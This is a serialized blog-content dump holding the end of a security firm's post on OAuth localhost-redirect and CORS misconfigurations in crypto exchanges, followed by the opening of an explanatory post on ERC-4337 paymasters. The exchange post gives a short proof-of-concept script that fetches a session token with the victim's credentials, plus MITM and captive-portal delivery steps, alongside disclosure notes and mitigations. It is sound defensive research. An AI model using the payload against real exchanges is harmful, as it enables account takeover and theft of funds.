auto_select: true\n",{"type":24,"tag":147,"props":106966,"children":106967},{"class":149,"line":29376},[106968],{"type":24,"tag":147,"props":106969,"children":106970},{"style":3534},[106971],{"type":29,"value":12922},{"type":24,"tag":147,"props":106973,"children":106974},{"class":149,"line":29384},[106975],{"type":24,"tag":147,"props":106976,"children":106977},{"emptyLinePlaceholder":16},[106978],{"type":29,"value":314},{"type":24,"tag":147,"props":106980,"children":106981},{"class":149,"line":29421},[106982],{"type":24,"tag":147,"props":106983,"children":106984},{"style":3534},[106985],{"type":29,"value":106986},"      google.accounts.id.renderButton(\n",{"type":24,"tag":147,"props":106988,"children":106989},{"class":149,"line":29434},[106990],{"type":24,"tag":147,"props":106991,"children":106992},{"style":3534},[106993],{"type":29,"value":106994},"        document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":147,"props":106996,"children":106997},{"class":149,"line":29447},[106998],{"type":24,"tag":147,"props":106999,"children":107000},{"style":3534},[107001],{"type":29,"value":107002},"        { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":147,"props":107004,"children":107005},{"class":149,"line":29460},[107006],{"type":24,"tag":147,"props":107007,"children":107008},{"style":3534},[107009],{"type":29,"value":12392},{"type":24,"tag":147,"props":107011,"children":107012},{"class":149,"line":29514},[107013],{"type":24,"tag":147,"props":107014,"children":107015},{"emptyLinePlaceholder":16},[107016],{"type":29,"value":314},{"type":24,"tag":147,"props":107018,"children":107019},{"class":149,"line":29523},[107020],{"type":24,"tag":147,"props":107021,"children":107022},{"style":3534},[107023],{"type":29,"value":107024},"      google.accounts.id.prompt();\n",{"type":24,"tag":147,"props":107026,"children":107027},{"class":149,"line":37881},[107028],{"type":24,"tag":147,"props":107029,"children":107030},{"style":3534},[107031],{"type":29,"value":44594},{"type":24,"tag":147,"props":107033,"children":107034},{"class":149,"line":37902},[107035,107040,107044,107049],{"type":24,"tag":147,"props":107036,"children":107037},{"style":3534},[107038],{"type":29,"value":107039},"                                    \"\"\"",{"type":24,"tag":147,"props":107041,"children":107042},{"style":235},[107043],{"type":29,"value":87},{"type":24,"tag":147,"props":107045,"children":107046},{"style":229},[107047],{"type":29,"value":107048},"trimIndent",{"type":24,"tag":147,"props":107050,"children":107051},{"style":235},[107052],{"type":29,"value":13361},{"type":24,"tag":147,"props":107054,"children":107055},{"class":149,"line":86535},[107056],{"type":24,"tag":147,"props":107057,"children":107058},{"style":235},[107059],{"type":29,"value":107060},"                                }\n",{"type":24,"tag":147,"props":107062,"children":107063},{"class":149,"line":86548},[107064],{"type":24,"tag":147,"props":107065,"children":107066},{"style":235},[107067],{"type":29,"value":76631},{"type":24,"tag":147,"props":107069,"children":107070},{"class":149,"line":86556},[107071],{"type":24,"tag":147,"props":107072,"children":107073},{"style":235},[107074],{"type":29,"value":76561},{"type":24,"tag":147,"props":107076,"children":107077},{"class":149,"line":86564},[107078,107082],{"type":24,"tag":147,"props":107079,"children":107080},{"style":229},[107081],{"type":29,"value":76569},{"type":24,"tag":147,"props":107083,"children":107084},{"style":235},[107085],{"type":29,"value":6630},{"type":24,"tag":147,"props":107087,"children":107088},{"class":149,"line":86572},[107089,107093,107097,107101,107106],{"type":24,"tag":147,"props":107090,"children":107091},{"style":229},[107092],{"type":29,"value":76581},{"type":24,"tag":147,"props":107094,"children":107095},{"style":235},[107096],{"type":29,"value":15207},{"type":24,"tag":147,"props":107098,"children":107099},{"style":241},[107100],{"type":29,"value":624},{"type":24,"tag":147,"props":107102,"children":107103},{"style":3534},[107104],{"type":29,"value":107105},"\"Login here:\"",{"type":24,"tag":147,"props":107107,"children":107108},{"style":235},[107109],{"type":29,"value":15217},{"type":24,"tag":147,"props":107111,"children":107112},{"class":149,"line":86612},[107113,107118],{"type":24,"tag":147,"props":107114,"children":107115},{"style":229},[107116],{"type":29,"value":107117},"                            div",{"type":24,"tag":147,"props":107119,"children":107120},{"style":235},[107121],{"type":29,"value":6630},{"type":24,"tag":147,"props":107123,"children":107124},{"class":149,"line":86620},[107125,107130,107134],{"type":24,"tag":147,"props":107126,"children":107127},{"style":235},[107128],{"type":29,"value":107129},"                                id ",{"type":24,"tag":147,"props":107131,"children":107132},{"style":241},[107133],{"type":29,"value":369},{"type":24,"tag":147,"props":107135,"children":107136},{"style":3534},[107137],{"type":29,"value":107138}," \"g_id_signin\"\n",{"type":24,"tag":147,"props":107140,"children":107141},{"class":149,"line":93806},[107142],{"type":24,"tag":147,"props":107143,"children":107144},{"style":235},[107145],{"type":29,"value":76631},{"type":24,"tag":147,"props":107147,"children":107148},{"class":149,"line":93814},[107149],{"type":24,"tag":147,"props":107150,"children":107151},{"style":235},[107152],{"type":29,"value":76561},{"type":24,"tag":147,"props":107154,"children":107156},{"class":149,"line":107155},62,[107157],{"type":24,"tag":147,"props":107158,"children":107159},{"style":235},[107160],{"type":29,"value":76646},{"type":24,"tag":147,"props":107162,"children":107164},{"class":149,"line":107163},63,[107165],{"type":24,"tag":147,"props":107166,"children":107167},{"style":235},[107168],{"type":29,"value":1666},{"type":24,"tag":147,"props":107170,"children":107172},{"class":149,"line":107171},64,[107173],{"type":24,"tag":147,"props":107174,"children":107175},{"style":235},[107176],{"type":29,"value":1935},{"type":24,"tag":147,"props":107178,"children":107180},{"class":149,"line":107179},65,[107181,107185,107189,107193,107197,107201],{"type":24,"tag":147,"props":107182,"children":107183},{"style":235},[107184],{"type":29,"value":76668},{"type":24,"tag":147,"props":107186,"children":107187},{"style":229},[107188],{"type":29,"value":76673},{"type":24,"tag":147,"props":107190,"children":107191},{"style":235},[107192],{"type":29,"value":76678},{"type":24,"tag":147,"props":107194,"children":107195},{"style":241},[107196],{"type":29,"value":369},{"type":24,"tag":147,"props":107198,"children":107199},{"style":218},[107200],{"type":29,"value":18087},{"type":24,"tag":147,"props":107202,"children":107203},{"style":235},[107204],{"type":29,"value":269},{"type":24,"tag":147,"props":107206,"children":107208},{"class":149,"line":107207},66,[107209],{"type":24,"tag":147,"props":107210,"children":107211},{"style":235},[107212],{"type":29,"value":1952},{"type":24,"tag":25,"props":107214,"children":107215},{},[107216],{"type":29,"value":107217},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":107219,"children":107220},{},[107221],{"type":29,"value":107222},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":43,"props":107224,"children":107226},{"id":107225},"how-to-mitigate",[107227],{"type":29,"value":107228},"How to Mitigate",{"type":24,"tag":25,"props":107230,"children":107231},{},[107232],{"type":29,"value":107233},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":32,"props":107235,"children":107237},{"id":107236},"exploiting-cors",[107238],{"type":29,"value":107239},"Exploiting CORS",{"type":24,"tag":25,"props":107241,"children":107242},{},[107243],{"type":29,"value":107244},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":107246,"children":107247},{},[107248,107250,107256],{"type":29,"value":107249},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":80,"props":107251,"children":107253},{"className":107252},[],[107254],{"type":29,"value":107255},"http://",{"type":29,"value":107257}," schema for any subdomain:",{"type":24,"tag":137,"props":107259,"children":107263},{"className":107260,"code":107261,"language":107262,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[107264],{"type":24,"tag":80,"props":107265,"children":107266},{"__ignoreMap":7},[107267,107275,107283,107291],{"type":24,"tag":147,"props":107268,"children":107269},{"class":149,"line":150},[107270],{"type":24,"tag":147,"props":107271,"children":107272},{},[107273],{"type":29,"value":107274},"HTTP 200 OK\n",{"type":24,"tag":147,"props":107276,"children":107277},{"class":149,"line":160},[107278],{"type":24,"tag":147,"props":107279,"children":107280},{},[107281],{"type":29,"value":107282},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":147,"props":107284,"children":107285},{"class":149,"line":169},[107286],{"type":24,"tag":147,"props":107287,"children":107288},{},[107289],{"type":29,"value":107290},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":147,"props":107292,"children":107293},{"class":149,"line":178},[107294],{"type":24,"tag":147,"props":107295,"children":107296},{},[107297],{"type":29,"value":15939},{"type":24,"tag":43,"props":107299,"children":107301},{"id":107300},"cors-misconfiguration-by-lack-of-tls",[107302],{"type":29,"value":107303},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":107305,"children":107306},{},[107307,107309,107315],{"type":29,"value":107308},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":80,"props":107310,"children":107312},{"className":107311},[],[107313],{"type":29,"value":107314},"exchange.com",{"type":29,"value":107316}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":107318,"children":107319},{},[107320],{"type":29,"value":107321},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":22292,"props":107323,"children":107324},{},[107325,107345],{"type":24,"tag":2678,"props":107326,"children":107327},{},[107328,107330,107335,107337,107343],{"type":29,"value":107329},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":80,"props":107331,"children":107333},{"className":107332},[],[107334],{"type":29,"value":107255},{"type":29,"value":107336}," --> ",{"type":24,"tag":80,"props":107338,"children":107340},{"className":107339},[],[107341],{"type":29,"value":107342},"https://",{"type":29,"value":107344}," requests, even if same-site",{"type":24,"tag":2678,"props":107346,"children":107347},{},[107348,107350],{"type":29,"value":107349},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":80,"props":107351,"children":107353},{"className":107352},[],[107354],{"type":29,"value":43362},{"type":24,"tag":43,"props":107356,"children":107358},{"id":107357},"exploit-1",[107359],{"type":29,"value":2796},{"type":24,"tag":25,"props":107361,"children":107362},{},[107363],{"type":29,"value":107364},"To exploit it, we must follow some steps:",{"type":24,"tag":2674,"props":107366,"children":107367},{},[107368,107373,107378],{"type":24,"tag":2678,"props":107369,"children":107370},{},[107371],{"type":29,"value":107372},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":2678,"props":107374,"children":107375},{},[107376],{"type":29,"value":107377},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":2678,"props":107379,"children":107380},{},[107381,107383,107388],{"type":29,"value":107382},"Use ",{"type":24,"tag":80,"props":107384,"children":107386},{"className":107385},[],[107387],{"type":29,"value":43362},{"type":29,"value":107389}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":107391,"children":107392},{},[107393],{"type":29,"value":107394},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":107396,"children":107397},{},[107398,107400,107405],{"type":29,"value":107399},"Once the redirect to the ",{"type":24,"tag":80,"props":107401,"children":107403},{"className":107402},[],[107404],{"type":29,"value":107255},{"type":29,"value":107406}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":137,"props":107408,"children":107410},{"className":36964,"code":107409,"language":36966,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[107411],{"type":24,"tag":80,"props":107412,"children":107413},{"__ignoreMap":7},[107414,107437,107474,107491,107508,107515,107556],{"type":24,"tag":147,"props":107415,"children":107416},{"class":149,"line":150},[107417,107421,107425,107429,107433],{"type":24,"tag":147,"props":107418,"children":107419},{"style":235},[107420],{"type":29,"value":480},{"type":24,"tag":147,"props":107422,"children":107423},{"style":218},[107424],{"type":29,"value":41746},{"type":24,"tag":147,"props":107426,"children":107427},{"style":235},[107428],{"type":29,"value":45292},{"type":24,"tag":147,"props":107430,"children":107431},{"style":218},[107432],{"type":29,"value":20435},{"type":24,"tag":147,"props":107434,"children":107435},{"style":235},[107436],{"type":29,"value":6630},{"type":24,"tag":147,"props":107438,"children":107439},{"class":149,"line":160},[107440,107444,107449,107453,107457,107461,107465,107470],{"type":24,"tag":147,"props":107441,"children":107442},{"style":218},[107443],{"type":29,"value":13481},{"type":24,"tag":147,"props":107445,"children":107446},{"style":247},[107447],{"type":29,"value":107448}," res",{"type":24,"tag":147,"props":107450,"children":107451},{"style":241},[107452],{"type":29,"value":651},{"type":24,"tag":147,"props":107454,"children":107455},{"style":321},[107456],{"type":29,"value":41812},{"type":24,"tag":147,"props":107458,"children":107459},{"style":229},[107460],{"type":29,"value":38530},{"type":24,"tag":147,"props":107462,"children":107463},{"style":235},[107464],{"type":29,"value":480},{"type":24,"tag":147,"props":107466,"children":107467},{"style":3534},[107468],{"type":29,"value":107469},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":147,"props":107471,"children":107472},{"style":235},[107473],{"type":29,"value":54480},{"type":24,"tag":147,"props":107475,"children":107476},{"class":149,"line":169},[107477,107482,107487],{"type":24,"tag":147,"props":107478,"children":107479},{"style":247},[107480],{"type":29,"value":107481},"    credentials:",{"type":24,"tag":147,"props":107483,"children":107484},{"style":3534},[107485],{"type":29,"value":107486}," 'include'",{"type":24,"tag":147,"props":107488,"children":107489},{"style":235},[107490],{"type":29,"value":1549},{"type":24,"tag":147,"props":107492,"children":107493},{"class":149,"line":178},[107494,107499,107504],{"type":24,"tag":147,"props":107495,"children":107496},{"style":247},[107497],{"type":29,"value":107498},"    method:",{"type":24,"tag":147,"props":107500,"children":107501},{"style":3534},[107502],{"type":29,"value":107503}," 'POST'",{"type":24,"tag":147,"props":107505,"children":107506},{"style":235},[107507],{"type":29,"value":1549},{"type":24,"tag":147,"props":107509,"children":107510},{"class":149,"line":187},[107511],{"type":24,"tag":147,"props":107512,"children":107513},{"style":235},[107514],{"type":29,"value":103775},{"type":24,"tag":147,"props":107516,"children":107517},{"class":149,"line":196},[107518,107523,107527,107532,107536,107540,107544,107548,107552],{"type":24,"tag":147,"props":107519,"children":107520},{"style":247},[107521],{"type":29,"value":107522},"  console",{"type":24,"tag":147,"props":107524,"children":107525},{"style":235},[107526],{"type":29,"value":87},{"type":24,"tag":147,"props":107528,"children":107529},{"style":229},[107530],{"type":29,"value":107531},"log",{"type":24,"tag":147,"props":107533,"children":107534},{"style":235},[107535],{"type":29,"value":480},{"type":24,"tag":147,"props":107537,"children":107538},{"style":321},[107539],{"type":29,"value":38517},{"type":24,"tag":147,"props":107541,"children":107542},{"style":247},[107543],{"type":29,"value":107448},{"type":24,"tag":147,"props":107545,"children":107546},{"style":235},[107547],{"type":29,"value":87},{"type":24,"tag":147,"props":107549,"children":107550},{"style":229},[107551],{"type":29,"value":39598},{"type":24,"tag":147,"props":107553,"children":107554},{"style":235},[107555],{"type":29,"value":21037},{"type":24,"tag":147,"props":107557,"children":107558},{"class":149,"line":205},[107559],{"type":24,"tag":147,"props":107560,"children":107561},{"style":235},[107562],{"type":29,"value":107563},"})();\n",{"type":24,"tag":25,"props":107565,"children":107566},{},[107567],{"type":29,"value":107568},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":43,"props":107570,"children":107571},{"id":45929},[107572],{"type":29,"value":45932},{"type":24,"tag":25,"props":107574,"children":107575},{},[107576,107578,107583],{"type":29,"value":107577},"As mitigation, it is recommended to remove all ",{"type":24,"tag":80,"props":107579,"children":107581},{"className":107580},[],[107582],{"type":29,"value":107255},{"type":29,"value":107584}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":107586,"children":107587},{},[107588],{"type":29,"value":107589},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":32,"props":107591,"children":107592},{"id":8458},[107593],{"type":29,"value":8461},{"type":24,"tag":25,"props":107595,"children":107596},{},[107597],{"type":29,"value":107598},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":107600,"children":107601},{},[107602],{"type":29,"value":107603},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":8473,"props":107605,"children":107606},{},[107607],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":107609},[107610,107615,107620],{"id":105296,"depth":160,"text":105299,"children":107611},[107612,107613,107614],{"id":105307,"depth":169,"text":105310},{"id":105664,"depth":169,"text":105667},{"id":107225,"depth":169,"text":107228},{"id":107236,"depth":160,"text":107239,"children":107616},[107617,107618,107619],{"id":107300,"depth":169,"text":107303},{"id":107357,"depth":169,"text":2796},{"id":45929,"depth":169,"text":45932},{"id":8458,"depth":160,"text":8461},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":107625,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107626,"description":107627,"date":107628,"author":107629,"image":107630,"isFeatured":16,"onBlogPage":16,"tags":107632,"body":107635,"_type":8496,"_id":113403,"_source":8498,"_file":113404,"_stem":113405,"_extension":8501},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":107631,"width":14,"height":15},"/posts/paymasters-evm/title.png",[107633,107634],"evm","ERC-4337",{"type":21,"children":107636,"toc":113382},[107637,107641,107652,107657,107662,107667,107673,107679,107684,107689,107695,107700,107728,107734,107739,107746,107751,107761,107766,107792,107798,107818,107824,107844,107852,107883,107916,107925,107937,107962,107974,107987,108030,108036,108069,108168,108187,108210,108215,108221,108249,108396,108401,108428,108434,108446,108458,108467,108502,108507,109990,110018,110039,110044,110056,110065,110070,110088,110111,110116,110122,110176,110182,110215,110250,111072,111108,111144,111210,111243,111741,111794,111806,112370,112439,112466,113088,113130,113157,113169,113230,113249,113283,113288,113293,113298,113302,113307,113342,113368,113373,113378],{"type":24,"tag":40973,"props":107638,"children":107639},{"id":34617},[107640],{"type":29,"value":34620},{"type":24,"tag":25,"props":107642,"children":107643},{},[107644,107650],{"type":24,"tag":2773,"props":107645,"children":107648},{"href":107646,"rel":107647},"https://docs.erc4337.io/",[2777],[107649],{"type":29,"value":107634},{"type":29,"value":107651}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":107653,"children":107654},{},[107655],{"type":29,"value":107656},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":107658,"children":107659},{},[107660],{"type":29,"value":107661},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":107663,"children":107664},{},[107665],{"type":29,"value":107666},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":40973,"props":107668,"children":107670},{"id":107669},"erc4337-overview",[107671],{"type":29,"value":107672},"ERC4337 Overview",{"type":24,"tag":32,"props":107674,"children":107676},{"id":107675},"traditional-eoas-vs-smart-contract-wallets",[107677],{"type":29,"value":107678},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":107680,"children":107681},{},[107682],{"type":29,"value":107683},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":25,"props":107685,"children":107686},{},[107687],{"type":29,"value":107688},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":32,"props":107690,"children":107692},{"id":107691},"why-erc4337-was-introduced",[107693],{"type":29,"value":107694},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":107696,"children":107697},{},[107698],{"type":29,"value":107699},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":22292,"props":107701,"children":107702},{},[107703,107708,107713,107718,107723],{"type":24,"tag":2678,"props":107704,"children":107705},{},[107706],{"type":29,"value":107707},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":2678,"props":107709,"children":107710},{},[107711],{"type":29,"value":107712},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":2678,"props":107714,"children":107715},{},[107716],{"type":29,"value":107717},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":2678,"props":107719,"children":107720},{},[107721],{"type":29,"value":107722},"Using custom signature schemes or multisig logic",{"type":24,"tag":2678,"props":107724,"children":107725},{},[107726],{"type":29,"value":107727},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":32,"props":107729,"children":107731},{"id":107730},"how-erc-4337-works",[107732],{"type":29,"value":107733},"How ERC-4337 Works",{"type":24,"tag":25,"props":107735,"children":107736},{},[107737],{"type":29,"value":107738},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":107740,"children":107741},{},[107742],{"type":24,"tag":63,"props":107743,"children":107745},{"alt":56176,"src":107744},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":107747,"children":107748},{},[107749],{"type":29,"value":107750},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":43,"props":107752,"children":107754},{"id":107753},"useroperation",[107755],{"type":24,"tag":80,"props":107756,"children":107758},{"className":107757},[],[107759],{"type":29,"value":107760},"UserOperation",{"type":24,"tag":25,"props":107762,"children":107763},{},[107764],{"type":29,"value":107765},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":22292,"props":107767,"children":107768},{},[107769,107774,107779],{"type":24,"tag":2678,"props":107770,"children":107771},{},[107772],{"type":29,"value":107773},"Target contract call(s)",{"type":24,"tag":2678,"props":107775,"children":107776},{},[107777],{"type":29,"value":107778},"Signature or validation metadata",{"type":24,"tag":2678,"props":107780,"children":107781},{},[107782,107784,107790],{"type":29,"value":107783},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":80,"props":107785,"children":107787},{"className":107786},[],[107788],{"type":29,"value":107789},"UserOperations",{"type":29,"value":107791}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":43,"props":107793,"children":107795},{"id":107794},"smart-contract-account",[107796],{"type":29,"value":107797},"Smart Contract Account",{"type":24,"tag":25,"props":107799,"children":107800},{},[107801,107803,107809,107810,107816],{"type":29,"value":107802},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":80,"props":107804,"children":107806},{"className":107805},[],[107807],{"type":29,"value":107808},"validateUserOp()",{"type":29,"value":855},{"type":24,"tag":80,"props":107811,"children":107813},{"className":107812},[],[107814],{"type":29,"value":107815},"executeUserOp()",{"type":29,"value":107817},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":43,"props":107819,"children":107821},{"id":107820},"bundler",[107822],{"type":29,"value":107823},"Bundler",{"type":24,"tag":25,"props":107825,"children":107826},{},[107827,107829,107834,107836,107842],{"type":29,"value":107828},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":80,"props":107830,"children":107832},{"className":107831},[],[107833],{"type":29,"value":107789},{"type":29,"value":107835},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":80,"props":107837,"children":107839},{"className":107838},[],[107840],{"type":29,"value":107841},"EntryPoint",{"type":29,"value":107843}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":43,"props":107845,"children":107846},{"id":20337},[107847],{"type":24,"tag":80,"props":107848,"children":107850},{"className":107849},[],[107851],{"type":29,"value":107841},{"type":24,"tag":25,"props":107853,"children":107854},{},[107855,107856,107861,107863,107868,107870,107874,107876,107881],{"type":29,"value":5094},{"type":24,"tag":80,"props":107857,"children":107859},{"className":107858},[],[107860],{"type":29,"value":107841},{"type":29,"value":107862}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":80,"props":107864,"children":107866},{"className":107865},[],[107867],{"type":29,"value":107789},{"type":29,"value":107869}," submitted by a ",{"type":24,"tag":10949,"props":107871,"children":107872},{},[107873],{"type":29,"value":107823},{"type":29,"value":107875},", the ",{"type":24,"tag":80,"props":107877,"children":107879},{"className":107878},[],[107880],{"type":29,"value":107841},{"type":29,"value":107882}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":107884,"children":107885},{},[107886,107888,107893,107895,107899,107901,107906,107908,107914],{"type":29,"value":107887},"Once all operations have been processed, the ",{"type":24,"tag":80,"props":107889,"children":107891},{"className":107890},[],[107892],{"type":29,"value":107841},{"type":29,"value":107894}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":10949,"props":107896,"children":107897},{},[107898],{"type":29,"value":107823},{"type":29,"value":107900},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":80,"props":107902,"children":107904},{"className":107903},[],[107905],{"type":29,"value":107841},{"type":29,"value":107907}," or from a ",{"type":24,"tag":80,"props":107909,"children":107911},{"className":107910},[],[107912],{"type":29,"value":107913},"paymaster",{"type":29,"value":107915}," that has agreed to sponsor the transaction.",{"type":24,"tag":43,"props":107917,"children":107918},{"id":107913},[107919],{"type":24,"tag":80,"props":107920,"children":107922},{"className":107921},[],[107923],{"type":29,"value":107924},"Paymaster",{"type":24,"tag":25,"props":107926,"children":107927},{},[107928,107930,107935],{"type":29,"value":107929},"A ",{"type":24,"tag":80,"props":107931,"children":107933},{"className":107932},[],[107934],{"type":29,"value":107913},{"type":29,"value":107936}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":22292,"props":107938,"children":107939},{},[107940,107951],{"type":24,"tag":2678,"props":107941,"children":107942},{},[107943,107949],{"type":24,"tag":80,"props":107944,"children":107946},{"className":107945},[],[107947],{"type":29,"value":107948},"validatePaymasterUserOp()",{"type":29,"value":107950}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":2678,"props":107952,"children":107953},{},[107954,107960],{"type":24,"tag":80,"props":107955,"children":107957},{"className":107956},[],[107958],{"type":29,"value":107959},"postOp()",{"type":29,"value":107961},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":107963,"children":107964},{},[107965,107967,107972],{"type":29,"value":107966},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":80,"props":107968,"children":107970},{"className":107969},[],[107971],{"type":29,"value":107913},{"type":29,"value":107973}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":32,"props":107975,"children":107977},{"id":107976},"understanding-the-entrypoints-flow",[107978,107980,107985],{"type":29,"value":107979},"Understanding the ",{"type":24,"tag":80,"props":107981,"children":107983},{"className":107982},[],[107984],{"type":29,"value":107841},{"type":29,"value":107986},"'s Flow",{"type":24,"tag":25,"props":107988,"children":107989},{},[107990,107992,107997,107998,108003,108005,108016,108018,108023,108024,108029],{"type":29,"value":107991},"When a bundler submits ",{"type":24,"tag":80,"props":107993,"children":107995},{"className":107994},[],[107996],{"type":29,"value":107789},{"type":29,"value":22020},{"type":24,"tag":80,"props":107999,"children":108001},{"className":108000},[],[108002],{"type":29,"value":107841},{"type":29,"value":108004}," contract via ",{"type":24,"tag":2773,"props":108006,"children":108009},{"href":108007,"rel":108008},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[2777],[108010],{"type":24,"tag":80,"props":108011,"children":108013},{"className":108012},[],[108014],{"type":29,"value":108015},"handleOps()",{"type":29,"value":108017},", the processing occurs in two main phases: 